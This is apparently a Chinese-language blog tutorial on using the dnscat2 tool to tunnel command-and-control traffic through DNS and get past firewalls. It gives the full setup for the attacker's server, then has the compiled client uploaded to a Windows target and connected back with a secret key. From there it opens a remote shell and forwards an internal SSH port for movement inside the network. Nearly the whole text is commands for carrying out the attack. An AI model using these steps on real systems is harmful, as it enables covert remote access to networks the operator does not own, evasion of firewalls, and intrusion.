揭祕黑客核心技術,如何利用dns繞過防火牆滲透服務器

最近我好久沒寫文章了,手癢了,於是乎我就寫寫文章!

廢話不多說,就開始了!!

測試環境

ubuntu 14.04 root用戶

windows7 x64 user用戶

0x01環境準備

apt-get update

apt-get -y install ruby-dev git make g++

gem install bundler

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server

#修改Gemfile source 'https://ruby.taobao.org/'

bundle install

或者通過docker安裝

apt-get install docker.io

service docker status

service docker start

cd ~/dnscat2/server

#修改Gemfile source 'https://ruby.taobao.org/'

docker build .

安裝完成之後,可能在docker images 看到這個鏡像沒有名字,我們修改一下 docker tag IMAGEID mpercival/dnscat2

0x02利用過程

server端

cd dnscat2/server

ruby ./dnscat2.rb

#docker用戶 docker run -p 53:53/udp -it --rm mpercival/dnscat2 ruby ./dnscat2.rb


揭秘黑客核心技術,如何利用dns繞過防火牆滲透服務器


可以通過兩種方式設置C&C地址,如果沒有域名的話,直接在外網VPS運行ruby ./dnscat2.rb 有域名的童鞋,先設置好NS服務器將NS記錄修改為當前的機器。然後通過ruby ./dnscat2.rb yourdomain 我這裡使用的IP地址

client端

將dnscat2文件夾下面的client編譯好成exe,然後上傳到client端

dnscat2.exe --dns=server=server端ip --secret=c2c6d04cab68ee2947d80316858da0f8

揭秘黑客核心技術,如何利用dns繞過防火牆滲透服務器


由於在新版本的dnscat2是加密的所以我們在客戶端執行的時候要加上秘鑰,不然無法正確的建立連接

揭秘黑客核心技術,如何利用dns繞過防火牆滲透服務器

獲取shell

session -i 1 #切換到session 1

help #通過help可以看到支持的命令

shell #執行之後會新生成一個session 需要通過session -i 2 切過去

揭秘黑客核心技術,如何利用dns繞過防火牆滲透服務器

這樣就成功獲取了一個shell,我們可以通過數據包看一下

揭秘黑客核心技術,如何利用dns繞過防火牆滲透服務器

數據都是通過DNS發出去的,並且是加密過的,因為在最初的dnscat2的版本中,數據只是簡單的hex編碼。到最新版的默認就已經加密

揭秘黑客核心技術,如何利用dns繞過防火牆滲透服務器

通過Salsa20加密算法進行了加密,如果不知道秘鑰,就幾乎不能解密數據包了。除了普通的反彈shell和上傳下載文件功能,還有一個比較有用的功能

可以通過dnscat2實現DNS隧道,然後進行內網滲透。在成功獲取一個session之後執行

session -i id

listen 4444 10.211.55.19:22 #將內網10.211.55.19的22端口轉發到本地的4444

揭秘黑客核心技術,如何利用dns繞過防火牆滲透服務器

然後直接ssh本地的ip的4444端口

揭秘黑客核心技術,如何利用dns繞過防火牆滲透服務器

注意的是我用的docker環境,所以是直接ssh的docker的ip

上述內容不知道大家學習到了嗎?網絡世界的安全漏洞每天都會出現,安全知識和安全意識每個公民都應該瞭解和學習,有想學習網絡安全技能的小夥伴可以隨時私信我哦!


分享到:


相關文章: